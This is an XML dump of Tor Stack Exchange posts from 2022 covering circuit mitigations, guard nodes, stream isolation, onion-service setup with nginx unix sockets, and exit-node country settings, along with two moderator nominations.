  <row Id="23176" PostTypeId="2" ParentId="737" CreationDate="2022-05-23T21:37:27.937" Score="1" Body="&lt;p&gt;Based on &lt;a href=&quot;https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-kwon.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this paper&lt;/a&gt; (which was written in 2015 so it may be a bit outdated), the suggested mitigations to thwart a traffic analysis neural network given the most useful parameters (duration of access and incoming/outgoing cells) are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;circuits should have similar lifetimes (400-800 seconds; pad/re-establish circuits as necessary)&lt;/li&gt;&#xA;&lt;li&gt;HS and Client IPs should be more difficult to identify - more variety in outgoing and incoming cells (pad as necessary)&lt;/li&gt;&#xA;&lt;li&gt;preemptive, more homogenous circuit building&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;So you can implement that yourself (Tor is open source; patch and compile) or wait for others to do so.&lt;/p&gt;&#xA;" OwnerUserId="34485" LastActivityDate="2022-05-23T21:37:27.937" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23178" PostTypeId="6" CreationDate="2022-05-25T11:00:18.743" Score="0" Body="&lt;h1&gt;Jens Kubieziel&lt;/h1&gt;&#xA;&lt;p&gt;I'd like to nominate myself as moderator. I'm engaged in being a moderator for several years and helped to start this site. I would really like to help growing Tor.SE in the future.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2022-05-25T11:00:18.743" LastActivityDate="2022-05-25T11:00:18.743" CommentCount="0" CommunityOwnedDate="2022-05-25T11:00:18.743" ContentLicense="CC BY-SA 4.0" />
  <row Id="23180" PostTypeId="6" CreationDate="2022-05-25T19:49:58.247" Score="0" Body="&lt;h1&gt;Alexey Vesnin&lt;/h1&gt;&#xA;&lt;p&gt;I was - and I am - with this community from the early phase and also I'm practically helping people to protect themselves since year 2000&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2022-05-25T19:49:58.247" LastActivityDate="2022-05-25T19:49:58.247" CommentCount="0" CommunityOwnedDate="2022-05-25T19:49:58.247" ContentLicense="CC BY-SA 4.0" />
  <row Id="23183" PostTypeId="1" CreationDate="2022-05-26T15:16:09.553" Score="0" ViewCount="530" Body="&lt;p&gt;I'm looking forward to using Tor like a VPN.&lt;/p&gt;&#xA;&lt;p&gt;I learned about EntryNodes, ExitNodes, and MiddleNodes and how to set the country code for each and setting &lt;code&gt;StrictNode 1&lt;/code&gt; or something. When I set all these three to the same code, at least one of them wasn't from the country I specified.&lt;/p&gt;&#xA;&lt;p&gt;So, I don't know how to use just one node; seems like there needs to be at least three. And it doesn't even allow all three to be from the same country.&lt;/p&gt;&#xA;&lt;p&gt;I would like to know (1) How to set Entry, Exit, Middle nodes to be from the same country and (2) How to make ONE NODE to be all Entry, Exit, and Middle nodes, 'at my own risk'.&lt;/p&gt;&#xA;&lt;p&gt;It seems like Tor enforces that the user of Tor goes through AT LEAST one different country and all nodes being different. But I feel like there must be an option to modify this 'at the risk of the client'.&lt;/p&gt;&#xA;" OwnerUserId="34631" LastActivityDate="2022-05-26T18:43:38.713" Title="How do I use one and only node?" Tags="|relays|exit-relays|node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23184" PostTypeId="2" ParentId="23183" CreationDate="2022-05-26T18:43:38.713" Score="0" Body="&lt;p&gt;For (2):&lt;/p&gt;&#xA;&lt;p&gt;Tor relays do not allow clients to use only a single relay for circuits.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Exit relays now try harder to block exit attempts from unknown&#xA;relays, to make it harder for people to use them as one-hop proxies&#xA;a la tortunnel. Controlled by the refuseunknownexits consensus&#xA;parameter (currently enabled), or you can override it on your&#xA;relay with the RefuseUnknownExits torrc option. Resolves bug 1751;&#xA;based on a variant of proposal 163.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/tor-02232-released/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/tor-02232-released/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;At the time, this was an option configurable by relay operators. Nowadays no relays support single-hop exit circuits and this relay option no longer exists.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2022-05-26T18:43:38.713" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23186" PostTypeId="1" CreationDate="2022-05-27T04:05:29.313" Score="0" ViewCount="209" Body="&lt;p&gt;Is it possible to have more than one guard node?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.torproject.org/tbb/tbb-2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Tor Project Website&lt;/a&gt; says that the guard node is always the same and when viewing the circuit for the current site, there's a note that says &amp;quot;Your Guard node may not change.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;But every now and then there's a node that pops up out of nowhere having a different IP address and being from a different location that appears to be a guard node that is there by itself and never generates any circuits.&lt;/p&gt;&#xA;&lt;p&gt;Is this a feature of tor or is this something that looks suspicious?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Q7PWj.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q7PWj.jpg&quot; alt=&quot;Onion Circuits Screenshot 1&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/H2gnT.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H2gnT.jpg&quot; alt=&quot;Onion Circuits Screenshot 2&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;EDIT: I want to point out that the mysterious node as seen in the screenshot is only one example. I have seen at least another one like it pop up and just sit there without generating a circuit.&#xA;They usually stay there until I reset the connection to the internet, i.e., disconnect and connect again.&lt;/p&gt;&#xA;" OwnerUserId="22695" LastEditorUserId="22695" LastEditDate="2022-05-27T05:16:42.790" LastActivityDate="2022-05-31T07:41:16.150" Title="Is it possible to have more than one guard node?" Tags="|circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23188" PostTypeId="2" ParentId="23186" CreationDate="2022-05-31T07:40:00.173" Score="1" Body="&lt;p&gt;(the only way i know it) yes it is possible to have mutlipe tor guard nodes first you should setup whonix gateway which route all your &lt;code&gt;VM&lt;/code&gt; traffics to the tor network&#xA;&lt;a href=&quot;https://www.whonix.org/wiki/KVM&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.whonix.org/wiki/KVM&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;then you should setup multiple whonix gateways &lt;a href=&quot;https://www.whonix.org/wiki/Multiple_Whonix-Gateway#KVM&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.whonix.org/wiki/Multiple_Whonix-Gateway#KVM&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;attach both of them to the machine and then you should setup redundancy&lt;/p&gt;&#xA;&lt;p&gt;no idea why you need such a setup whonix alone is pretty secure&lt;/p&gt;&#xA;&lt;p&gt;about nodes i am not sure what's going on here it might be new nodes joined in tor networks or maybe it's gov but tor networks designed in way that it always uses circuit and the data it self is encrypted tor declared that nodes have little information about packets just to route them to another node&lt;/p&gt;&#xA;&lt;p&gt;how do you know it's not being circuits ?&lt;/p&gt;&#xA;" OwnerUserId="34638" LastEditorUserId="34638" LastEditDate="2022-05-31T07:41:16.150" LastActivityDate="2022-05-31T07:41:16.150" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23189" PostTypeId="2" ParentId="23174" CreationDate="2022-06-03T16:23:38.163" Score="0" Body="&lt;p&gt;Well, you must make &lt;strong&gt;JUST&lt;/strong&gt; another name-based alias in your web server config. Yes, that's all of it! Because Tor is &lt;em&gt;just&lt;/em&gt; a stunnel-like reverse port mapper. So all the rest is managed on your web server and web site side. I do recommend to arise an environment variable like &lt;code&gt;HTTPS&lt;/code&gt; - let's say &lt;code&gt;DARKNET&lt;/code&gt; - so your web site CMS will be omitting any privacy tracking related stuff from the resulting HTML code - like Google Analytics, e.t.c. You &lt;strong&gt;don't&lt;/strong&gt; need to reconfigure your Tor at all! But there is a security issue ;)&lt;/p&gt;&#xA;&lt;p&gt;To do it properly secure - put your web server into the fully isolated VM or container, then route traffic from Tor and from Clearnet reverse proxy into it. Why's that? To mitigate an exploitation vector for de-anonymizing darknet users: if an enemy will be able to launch a &lt;em&gt;direct&lt;/em&gt; request from your web server when your client is visiting you through the darknet(not just Tor - any of them, like I2P, e.t.c...) - a data leak vector is established. That's why you do need this kind of insulation. But no reconfiguration is needed further ;)&lt;/p&gt;&#xA;&lt;p&gt;Feel free to drop me a line if you need further clarification or help in that question!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-06-03T16:23:38.163" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23190" PostTypeId="1" CreationDate="2022-06-04T05:37:49.890" Score="1" ViewCount="47" Body="&lt;p&gt;Tor always exhibited an array of what I'll call &amp;quot;silent crash&amp;quot; behavior, in which TorBrowser becomes unable to access specific or often any webpages.  Afaik, these happen on all platforms, but certainly they're ubiquitous on Linux &amp;amp; Mac.  I've noticed silent crashes become much worse over the last six months or so, with invariably almost every TorBrowser session experiencing &amp;quot;silent crashes&amp;quot; eventually.&lt;/p&gt;&#xA;&lt;p&gt;At least 4+ years ago, you could &lt;em&gt;always&lt;/em&gt; solve these by &lt;code&gt;killall -HUP tor&lt;/code&gt;, or by identifying &amp;amp; killing the specific &lt;code&gt;tor&lt;/code&gt; process if this killed other processes.  At some point however, TorBrowser started crashing whenever you kill its &lt;code&gt;tor&lt;/code&gt; process, which is clearly a bug in TorBrowser&lt;/p&gt;&#xA;&lt;p&gt;Afaik, all you could do now is (a) wait 10 minutes in hopes &lt;code&gt;tor&lt;/code&gt; comes back once its current circuits expire, or (b) save all tabs and close TorBrowser or refresh identity.&lt;/p&gt;&#xA;&lt;p&gt;Are there work arounds for TorBrowser crashing when you kill its &lt;code&gt;tor&lt;/code&gt; process?&lt;/p&gt;&#xA;&lt;p&gt;Ideally of course, TorBrowser should add a button to &amp;quot;refresh only tor process but do not clear browser state&amp;quot;, or at least add integration tests that TorBrowser does not crash when users run &lt;code&gt;killall -HUP tor&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3731" LastActivityDate="2022-06-04T05:37:49.890" Title="Silent tor process crashes" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23195" PostTypeId="2" ParentId="20363" CreationDate="2022-06-14T10:52:40.660" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;ControlPort 9051&lt;/li&gt;&#xA;&lt;li&gt;HashedControlPassword 16:13BEBA1E107F34eF53BC616rrrrrEF730324F26BDF2D&lt;/li&gt;&#xA;&lt;li&gt;ORPort 9001&lt;/li&gt;&#xA;&lt;li&gt;RelayBandwidthRate 100 KB&lt;/li&gt;&#xA;&lt;li&gt;RelayBandwidthBurst 200 KB&lt;/li&gt;&#xA;&lt;li&gt;ContactInfo d4rkven0m jhasaurabh571@gmail.com&lt;/li&gt;&#xA;&lt;li&gt;DirPort 80 NoListen&lt;/li&gt;&#xA;&lt;li&gt;DirPort 127.0.0.1:9091 NoAdvertise&lt;/li&gt;&#xA;&lt;li&gt;ExitPolicy accept *:6660-6667,reject &lt;em&gt;:&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;ExitPolicy accept *:119&lt;/li&gt;&#xA;&lt;li&gt;ExitPolicy reject &lt;em&gt;:&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;ExitRelay 1    #for middle relay: BridgeRelay 1,for guardrelay:GuardRealay 1&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="34695" LastEditorUserId="34695" LastEditDate="2022-06-14T10:58:14.100" LastActivityDate="2022-06-14T10:58:14.100" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23196" PostTypeId="1" CreationDate="2022-06-16T21:57:26.763" Score="0" ViewCount="179" Body="&lt;p&gt;I'm using the &amp;quot;Safest&amp;quot; security profile in Tor (accessible via &lt;code&gt;about:preferences&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Here's one point in the description for that profile:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;JavaScript is disabled &lt;em&gt;by default&lt;/em&gt; on all sites. (emphasis added)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Does this mean I can make a whitelist? Or, even better, temporarily define exceptions during a session?&lt;/p&gt;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="34426" LastEditorUserId="88" LastEditDate="2022-06-17T15:38:19.060" LastActivityDate="2022-06-17T17:43:17.157" Title="JavaScript exception when using &quot;Safest&quot; security profile in Tor" Tags="|security|linux|debian|client|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23197" PostTypeId="2" ParentId="23196" CreationDate="2022-06-17T17:43:17.157" Score="0" Body="&lt;p&gt;You can build a whitelist by visiting websites and change the default behaviour.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Visit a website&lt;/li&gt;&#xA;&lt;li&gt;Click on the NoScript icon (right side near the Hamburger menu)&lt;/li&gt;&#xA;&lt;li&gt;You'll find a checkbox which allows you to overwrite the default values. Check that box.&lt;/li&gt;&#xA;&lt;li&gt;Now you can use the NoScript settings to allow or disallow specific websites.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="88" LastActivityDate="2022-06-17T17:43:17.157" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23202" PostTypeId="1" CreationDate="2022-06-19T21:33:19.383" Score="0" ViewCount="286" Body="&lt;p&gt;I use torsocks for 3 applications: IRC, SSH and Thunderbird (My Tor browser uses port 9150 from the torbrowser bundle daemon). I want to use a different tor circuit for each application. On the internet I can find a few solutions to make this work but what is safest way using torcc?&lt;/p&gt;&#xA;&lt;p&gt;I now use the solution below which I got from &lt;a href=&quot;https://stackoverflow.com/questions/14321214/how-to-run-multiple-tor-processes-at-once-with-different-exit-ips?rq=1&quot;&gt;https://stackoverflow.com/questions/14321214/how-to-run-multiple-tor-processes-at-once-with-different-exit-ips?rq=1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 9052&#xA;SocksPort 9053 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;According to the link above each socks has a different circuit but are the socks isolated in this case? Is it recommended to completely isolated from each socks? Do I need to add &lt;code&gt;IsolateDestAddr&lt;/code&gt; &lt;code&gt;IsolateDestPort&lt;/code&gt; and create streamgroups like here &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-dev/2010-December/000680.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://lists.torproject.org/pipermail/tor-dev/2010-December/000680.html&lt;/a&gt; with using separated Trans- and DNSPorts?&lt;/p&gt;&#xA;&lt;p&gt;I don't want to mess up and make my tor setup less secure. What is the safest way to configure the socks?&lt;/p&gt;&#xA;" OwnerUserId="34714" LastEditorUserId="14924" LastEditDate="2023-02-25T17:19:24.690" LastActivityDate="2023-02-28T19:04:07.500" Title="Tor stream isolation using torcc" Tags="|configuration|proxy|torsocks|socks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23204" PostTypeId="2" ParentId="22883" CreationDate="2022-06-23T15:19:06.237" Score="0" Body="&lt;p&gt;When using VNC Viewer on Mac to Mac, shut off &amp;quot;VNC viewers may control screen with password:&amp;quot; in the Sharing &amp;gt; Remote Management. Delete the computer in the VNC Viewer app and Quit VNC Viewer. Start VNC Viewer and add the computer again and you should be able to add username and password of an account on the remote computer.&lt;/p&gt;&#xA;" OwnerUserId="34723" LastActivityDate="2022-06-23T15:19:06.237" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23205" PostTypeId="2" ParentId="22883" CreationDate="2022-06-23T17:40:41.953" Score="0" Body="&lt;p&gt;it defaults to the admin user, that is why it was greyed out.  The reason I couldn't get in is that my password was incorrect.  To get the correct password I had to wipe all the previous setup as I must have fat-fingered my password.&lt;/p&gt;&#xA;" OwnerUserId="33637" LastActivityDate="2022-06-23T17:40:41.953" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23206" PostTypeId="1" CreationDate="2022-06-23T22:22:14.250" Score="2" ViewCount="526" Body="&lt;p&gt;Im using Ubuntu 22.04 and everytime I try to use a unix socket in torrc config file the onion service doesn't work&lt;/p&gt;&#xA;&lt;p&gt;torrc config file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Log notice file /var/log/tor/log&#xA;RunAsDaemon 1&#xA;SocksPort 0&#xA;DataDirectory /var/lib/tor&#xA;HiddenServiceDir /var/lib/tor/gunicorn/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;HiddenServicePort 80 unix:/home/agua/sockets/nginx.sock&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;nginx site config file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;server { &#xA;        #listen 80;&#xA;        listen unix:/home/agua/sockets/nginx.sock;      &#xA;        allow &amp;quot;unix:&amp;quot;;&#xA;        server_name v3onionurlexample.onion&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;the nginx.sock has the following permissions:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namei -nom /home/agua/sockets/nginx.sock&#xA;&#xA;f: /home/agua/sockets/nginx.sock&#xA; drwxr-xr-x root root     /&#xA; drwxr-xr-x root root     home&#xA; drwxr-xr-x agua agua     agua&#xA; drwxrwxrwx agua agua     sockets&#xA; srwxrwxrwx agua www-data nginx.sock&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If I use in torrc &lt;code&gt;HiddenServicePort 80 127.0.0.1:80&lt;/code&gt;&#xA;and in nginx site config file &lt;code&gt;listen 80;&lt;/code&gt; the service works perfectly.&lt;/p&gt;&#xA;&lt;p&gt;But &lt;a href=&quot;https://community.torproject.org/onion-services/setup/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://community.torproject.org/onion-services/setup/&lt;/a&gt; reccomends using unix sockets&lt;/p&gt;&#xA;&lt;p&gt;Any help is well received im new in this&lt;/p&gt;&#xA;&lt;p&gt;edit:&lt;/p&gt;&#xA;&lt;p&gt;I have changed the permission to nginx.sock file to the following because im running tor daemon with &lt;code&gt;sudo systemctl start tor&lt;/code&gt; this still doesn't work&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namei -nom /home/agua/sockets/nginx.sock&#xA;f: /home/agua/sockets/nginx.sock&#xA; drwxr-xr-x root       root     /&#xA; drwxr-xr-x root       root     home&#xA; drwxr-xr-x agua       agua     agua&#xA; drwxrwxrwx agua       agua     sockets&#xA; srwxrwxrwx debian-tor www-data nginx.sock&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;sock file can be read by any user or group so permissions shouldnt be the problem here&lt;/p&gt;&#xA;&lt;p&gt;tor service status:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;tor.service - Anonymizing overlay network for TCP (multi-instance-master)&#xA;&#xA;     Loaded: loaded (/lib/systemd/system/tor.service; enabled; vendor preset: enabled)&#xA;     Active: active (exited) since Fri 2022-06-24 02:13:41 CEST; 26s ago&#xA;&#xA;    Process: 39734 ExecStart=/bin/true (code=exited, status=0/SUCCESS)&#xA;   Main PID: 39734 (code=exited, status=0/SUCCESS)&#xA;&#xA;        CPU: 1ms&#xA;&#xA;&#xA;&#xA;jun 24 02:13:41 agua-VirtualBox systemd[1]: Stopped Anonymizing overlay network for TCP (multi-instance-master).&#xA;jun 24 02:13:41 agua-VirtualBox systemd[1]: Stopping Anonymizing overlay network for TCP (multi-instance-master)...&#xA;jun 24 02:13:41 agua-VirtualBox systemd[1]: Starting Anonymizing overlay network for TCP (multi-instance-master)...&#xA;jun 24 02:13:41 agua-VirtualBox systemd[1]: Finished Anonymizing overlay network for TCP (multi-instance-master).&#xA;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;edit 2:&#xA;systemctl status tor@default&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;tor@default.service - Anonymizing overlay network for TCP&#xA;&#xA;     Loaded: loaded (/lib/systemd/system/tor@default.service; enabled-runtime; vendor preset: enabled)&#xA;&#xA;     Active: active (running) since Fri 2022-06-24 18:03:26 CEST; 53s ago&#xA;&#xA;    Process: 41403 ExecStartPre=/usr/bin/install -Z -m 02755 -o debian-tor -g debian-tor -d /run/tor (code=exited, status=0/SUCCESS)&#xA;&#xA;    Process: 41404 ExecStartPre=/usr/bin/tor --defaults-torrc /usr/share/tor/tor-service-defaults-torrc -f /etc/tor/torrc --RunAsDaemon 0 --verify-config (code=exited, status=0/SUCCESS)&#xA;&#xA;   Main PID: 41405 (tor)&#xA;&#xA;      Tasks: 1 (limit: 1084)&#xA;&#xA;     Memory: 49.6M&#xA;&#xA;        CPU: 534ms&#xA;&#xA;     CGroup: /system.slice/system-tor.slice/tor@default.service&#xA;&#xA;             └─41405 /usr/bin/tor --defaults-torrc /usr/share/tor/tor-service-defaults-torrc -f /etc/tor/torrc --RunAsDaemon 0&#xA;&#xA;&#xA;&#xA;jun 24 18:03:26 agua-VirtualBox tor[41404]: Jun 24 18:03:26.548 [notice] Tor 0.4.6.10 running on Linux with Libevent 2.1.12-stable, OpenSSL 3.0.2, Zlib 1.2.11, Liblzma 5.2.5, Libzstd 1.4.8 and Glibc 2.3&amp;gt;&#xA;&#xA;jun 24 18:03:26 agua-VirtualBox tor[41404]: Jun 24 18:03:26.548 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://support.torproject.org/faq/staying-anonymous/&#xA;&#xA;jun 24 18:03:26 agua-VirtualBox tor[41404]: Jun 24 18:03:26.549 [notice] Read configuration file &amp;quot;/usr/share/tor/tor-service-defaults-torrc&amp;quot;.&#xA;&#xA;jun 24 18:03:26 agua-VirtualBox tor[41404]: Jun 24 18:03:26.550 [notice] Read configuration file &amp;quot;/etc/tor/torrc&amp;quot;.&#xA;&#xA;jun 24 18:03:26 agua-VirtualBox tor[41404]: Configuration was valid&#xA;&#xA;jun 24 18:03:26 agua-VirtualBox tor[41405]: Jun 24 18:03:26.572 [notice] Tor 0.4.6.10 running on Linux with Libevent 2.1.12-stable, OpenSSL 3.0.2, Zlib 1.2.11, Liblzma 5.2.5, Libzstd 1.4.8 and Glibc 2.3&amp;gt;&#xA;&#xA;jun 24 18:03:26 agua-VirtualBox tor[41405]: Jun 24 18:03:26.572 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://support.torproject.org/faq/staying-anonymous/&#xA;&#xA;jun 24 18:03:26 agua-VirtualBox tor[41405]: Jun 24 18:03:26.572 [notice] Read configuration file &amp;quot;/usr/share/tor/tor-service-defaults-torrc&amp;quot;.&#xA;&#xA;jun 24 18:03:26 agua-VirtualBox tor[41405]: Jun 24 18:03:26.572 [notice] Read configuration file &amp;quot;/etc/tor/torrc&amp;quot;.&#xA;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;tor log content&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;tail /var/log/tor/log&#xA;&#xA;Jun 24 18:03:27.000 [notice] Bootstrapped 5% (conn): Connecting to a relay&#xA;&#xA;Jun 24 18:03:27.000 [notice] Opening Control listener on /run/tor/control&#xA;&#xA;Jun 24 18:03:27.000 [notice] Opened Control listener connection (ready) on /run/tor/control&#xA;&#xA;Jun 24 18:03:27.000 [notice] Bootstrapped 10% (conn_done): Connected to a relay&#xA;&#xA;Jun 24 18:03:28.000 [notice] Bootstrapped 14% (handshake): Handshaking with a relay&#xA;&#xA;Jun 24 18:03:28.000 [notice] Bootstrapped 15% (handshake_done): Handshake with a relay done&#xA;&#xA;Jun 24 18:03:28.000 [notice] Bootstrapped 75% (enough_dirinfo): Loaded enough directory info to build circuits&#xA;&#xA;Jun 24 18:03:28.000 [notice] Bootstrapped 90% (ap_handshake_done): Handshake finished with a relay to build circuits&#xA;&#xA;Jun 24 18:03:28.000 [notice] Bootstrapped 95% (circuit_create): Establishing a Tor circuit&#xA;&#xA;Jun 24 18:03:28.000 [notice] Bootstrapped 100% (done): Done&#xA;&#xA;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34724" LastEditorUserId="34724" LastEditDate="2022-06-24T16:18:43.460" LastActivityDate="2022-06-24T16:18:43.460" Title="Can't use unix socket in torrc with nginx (Onion Service)" Tags="|onion-services|server|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23207" PostTypeId="1" CreationDate="2022-06-23T22:35:32.920" Score="0" ViewCount="144" Body="&lt;p&gt;Can my account and password be hacked after logging in to youtube?&lt;/p&gt;&#xA;&lt;p&gt;And will Tor no longer be anonymous forever or when closing and reopening tor returns to operating securely and anonymously without any trace?&lt;/p&gt;&#xA;&lt;p&gt;And a small question if I edit TOR so that EntryNodes MiddleNodes and ExitNodes&#xA;Will be on the same country that all three servers of a column will be the same country Will a TOR be less anonymous ?&lt;/p&gt;&#xA;" OwnerUserId="34725" LastActivityDate="2022-06-23T22:41:08.910" Title="login to youtube via tor browser" Tags="|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23208" PostTypeId="2" ParentId="23207" CreationDate="2022-06-23T22:41:08.910" Score="0" Body="&lt;p&gt;its me i just edit : column = Tor&#xA;so every time you see the word &amp;quot;column&amp;quot; change it to &amp;quot;Tor&amp;quot;&#xA;Sorry for the inconvenience&lt;/p&gt;&#xA;" OwnerUserId="34726" LastActivityDate="2022-06-23T22:41:08.910" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23209" PostTypeId="1" AcceptedAnswerId="23210" CreationDate="2022-06-25T13:25:04.523" Score="2" ViewCount="5025" Body="&lt;p&gt;I might experience a bug here. I cannot select a specific country as exit node.&lt;/p&gt;&#xA;&lt;p&gt;I am using debian 10 with a standalone torbrowser version 11.0.11 (I will update soon, but I don't think it is a version problem).&lt;/p&gt;&#xA;&lt;p&gt;I have edited &lt;code&gt;nano /tor-browser_en-US/Browser/TorBrowser/Data/Tor/torrc&lt;/code&gt; and added the line &lt;code&gt;ExitNodes {de} StrictNodes 1&lt;/code&gt; to have a german exit node as described &lt;a href=&quot;https://www.optimizationcore.com/security/set-tor-exit-node-tor-browser-country-code-specific-node/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://tor.stackexchange.com/questions/733/can-i-exit-from-a-specific-country-or-node&quot;&gt;there&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;After I have modified the torrc I start tor_browser. The first connection I do initiate with a webserver uses a german exit node. A few seconds late, the circuit changes and I use exit node all over the world again.&#xA;Rechecking &lt;code&gt;/tor-browser_en-US/Browser/TorBrowser/Data/Tor/torrc&lt;/code&gt; shows that my modifications are deleted.&lt;/p&gt;&#xA;&lt;p&gt;What I tried so far:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;revoke write permissions: &lt;code&gt;chmod -w /tor-browser_en-US/Browser/TorBrowser/Data/Tor/torrc&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;chown torrc by root and give read to others.&lt;/li&gt;&#xA;&lt;li&gt;instead of &lt;code&gt;ExitNodes {de} StrictNodes 1&lt;/code&gt; using &lt;code&gt;ExitNodes {de}&lt;/code&gt; only&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In every case the torrc file overwrites itself and loses my modifications. This shouldn't be possible when the file belongs to root while tor_browser is run by a normal non-root-user.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Do you have any suggestions or a solution for me?&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Any clue what I do wrong?&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="34732" LastEditorUserId="34732" LastEditDate="2022-06-25T15:03:06.137" LastActivityDate="2024-04-05T15:27:46.577" Title="Cannot force Tor Browser to use exit nodes from specified country" Tags="|tor-browser-bundle|configuration|linux|browsers|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
